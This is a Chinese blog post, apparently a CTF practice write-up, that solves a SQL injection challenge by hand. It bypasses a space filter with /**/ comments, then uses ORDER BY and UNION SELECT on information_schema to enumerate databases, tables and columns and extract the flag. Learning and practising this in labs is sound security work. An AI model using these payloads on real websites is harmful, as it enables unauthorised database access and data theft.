

# 简单的sql注入之2 / writeup (手工注入, 纯属练手)

原创

wewww111 于 2018-08-10 23:56:15 发布 1807 收藏 1

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](https://creativecommons.org/licenses/by-sa/4.0/) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/wewww111/article/details/81571245>

版权

多测试几次可以发现, 空格被注释了, 百度解决方法, 用/\*\*/代替空格的位置, 构造语句 `1'/**/or/**/'1'='1` 确认为单引号注入

## flag

到底过滤了什么东西?

ID: 1' /\*\*/or/\*\*/' 1'=' 1  
name: baloteli

ID: 1' /\*\*/or/\*\*/' 1'=' 1  
name: kanawaluo

ID: 1' /\*\*/or/\*\*/' 1'=' 1  
name: dengdeng

<https://blog.csdn.net/wewww111>

用 **order by** 确认 **select** 字段数, 以确定 **union** 的字段数

## flag

到底过滤了什么东西?

ID: 1' /\*\*/order/\*\*/by/\*\*/1/\*\*/#  
name: baloteli

<https://blog.csdn.net/wewww111>

## flag

到底过滤了什么东西?

Unknown column '2' in 'order clause'

<https://blog.csdn.net/wewww111>

可得, 只有一个字段

## 获取数据库

```
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/#
```

### flag

到底过滤了什么东西？

```
ID: 1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/#
      name: baloteli
ID: 1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/#
      name: information_schema
ID: 1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/#
      name: test
ID: 1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/#
      name: web1
```

<https://blog.csdn.net/wewww111>

## 获取数据库web1的所有表名

```
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='we
```

### flag

到底过滤了什么东西？

```
ID: 1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='web1'/**/#
      name: baloteli
ID: 1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='web1'/**/#
      name: flag
ID: 1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='web1'/**/#
      name: web_1
```

<https://blog.csdn.net/wewww111>

## 看到flag表，获取字段名

```
1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where
table_name='flag'/**/#
```

### flag

到底过滤了什么东西？

```
ID: 1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where table_name='flag'/**/#
      name: baloteli
ID: 1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where table_name='flag'/**/#
      name: flag
ID: 1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where table_name='flag'/**/#
      name: id
```

<https://blog.csdn.net/wewww111>

## 获取flag

```
1'/**/union/**/select/**/flag/**/from/**/flag/**/#
```

May

## 到底过滤了什么东西？

```
ID: 1'/**/union/**/select/**/flag/**/from/**/flag/**/#  
      name: baloteli
```

```
ID: 1'/**/union/**/select/**/flag/**/from/**/flag/**/#  
      name: flag{Y0u_@r3_50_dAmn_900d}
```

<https://blog.csdn.net/wewww111>



[创作打卡挑战赛](#) >

[赢取流量/现金/CSDN周边激励大奖](#)